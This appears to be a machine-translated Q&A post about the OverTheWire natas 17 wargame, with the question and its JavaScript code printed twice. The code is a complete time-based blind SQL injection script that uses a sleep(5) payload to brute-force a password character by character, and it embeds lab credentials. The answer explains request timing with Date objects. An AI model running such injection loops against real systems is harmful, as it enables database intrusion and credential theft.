如何测量 JavaScript 中同步 http 请求所用的时间?
How can I measure time taken by a synchronous http request in JavaScript?
所以我正在尝试 natas 级别 17 到 18,我需要暴力破解密码。我需要连续发送 http 请求,并且根据每个请求的响应时间,我可以确定字母是否是密码的一部分。到目前为止,我一直在使用 JavaScript 编写脚本并在控制台上执行它们。我的请求都是同步的,因为我必须等待并暂停脚本的执行,直到我从服务器收到响应。现在,这里的问题是我想测量请求所花费的时间。在 JS 中,有一个超时功能可以让人们这样做,但是不允许同步请求。任何解决方法?
这是我的 JS 代码
let password = "";
let count = 0;
let alphanum = "qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890";
let alphanumc = alphanum.length;
let passwordc = 32; //assuming password has 32 characters
let fl1=0,fl2=0;
while(count!=passwordc)
{
fl1=fl2=0;
console.log(count);
console.log(password);
let oldp = password;
for(let i=0;i<alphanumc;i++)
{
password += alphanum[i];
let xhr = new XMLHttpRequest();
let url = `http://natas17.natas.labs.overthewire.org/index.php?username=natas18%22+and+password+like+binary+%22${password}%%22+and+sleep(5)#`;
xhr.open('GET',url,false,"natas17","8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw");
xhr.onload = function() {
if (xhr.status != 200) {
alert(`Error ${xhr.status}: ${xhr.statusText}`);
} else {
console.log("NO MATCH");
password = oldp;
fl2=1;
}};
xhr.onerror = function() {
alert("Request failed");
};
xhr.timeout = 4000;
xhr.ontimeout = function(){
console.log("FOUND");
count++;
fl1=1;
};
xhr.send();
if(fl1==1) break;
if(fl2==1) continue;
}
}
console.log(password);
您应该在请求开始之前获得一个日期,并且应该放置一个日期是某个等待标志或状态更改的循环,日期声明为:
var tmsStart = new Date();
var tmsEnd = new Date();
然后你应该可以算出两者的区别:
const diffTime = Math.abs(tmsEnd - tmsStart);
console.log(diffTime + " milliseconds");
将检查毫秒放入循环中,如:
if (diffTime >= 4000) {
//Exit loop
break;
}
这是你想要达到的目标吗?
所以我正在尝试 natas 级别 17 到 18,我需要暴力破解密码。我需要连续发送 http 请求,并且根据每个请求的响应时间,我可以确定字母是否是密码的一部分。到目前为止,我一直在使用 JavaScript 编写脚本并在控制台上执行它们。我的请求都是同步的,因为我必须等待并暂停脚本的执行,直到我从服务器收到响应。现在,这里的问题是我想测量请求所花费的时间。在 JS 中,有一个超时功能可以让人们这样做,但是不允许同步请求。任何解决方法? 这是我的 JS 代码
let password = "";
let count = 0;
let alphanum = "qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890";
let alphanumc = alphanum.length;
let passwordc = 32; //assuming password has 32 characters
let fl1=0,fl2=0;
while(count!=passwordc)
{
fl1=fl2=0;
console.log(count);
console.log(password);
let oldp = password;
for(let i=0;i<alphanumc;i++)
{
password += alphanum[i];
let xhr = new XMLHttpRequest();
let url = `http://natas17.natas.labs.overthewire.org/index.php?username=natas18%22+and+password+like+binary+%22${password}%%22+and+sleep(5)#`;
xhr.open('GET',url,false,"natas17","8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw");
xhr.onload = function() {
if (xhr.status != 200) {
alert(`Error ${xhr.status}: ${xhr.statusText}`);
} else {
console.log("NO MATCH");
password = oldp;
fl2=1;
}};
xhr.onerror = function() {
alert("Request failed");
};
xhr.timeout = 4000;
xhr.ontimeout = function(){
console.log("FOUND");
count++;
fl1=1;
};
xhr.send();
if(fl1==1) break;
if(fl2==1) continue;
}
}
console.log(password);
您应该在请求开始之前获得一个日期,并且应该放置一个日期是某个等待标志或状态更改的循环,日期声明为:
var tmsStart = new Date();
var tmsEnd = new Date();
然后你应该可以算出两者的区别:
const diffTime = Math.abs(tmsEnd - tmsStart);
console.log(diffTime + " milliseconds");
将检查毫秒放入循环中,如:
if (diffTime >= 4000) {
//Exit loop
break;
}
这是你想要达到的目标吗?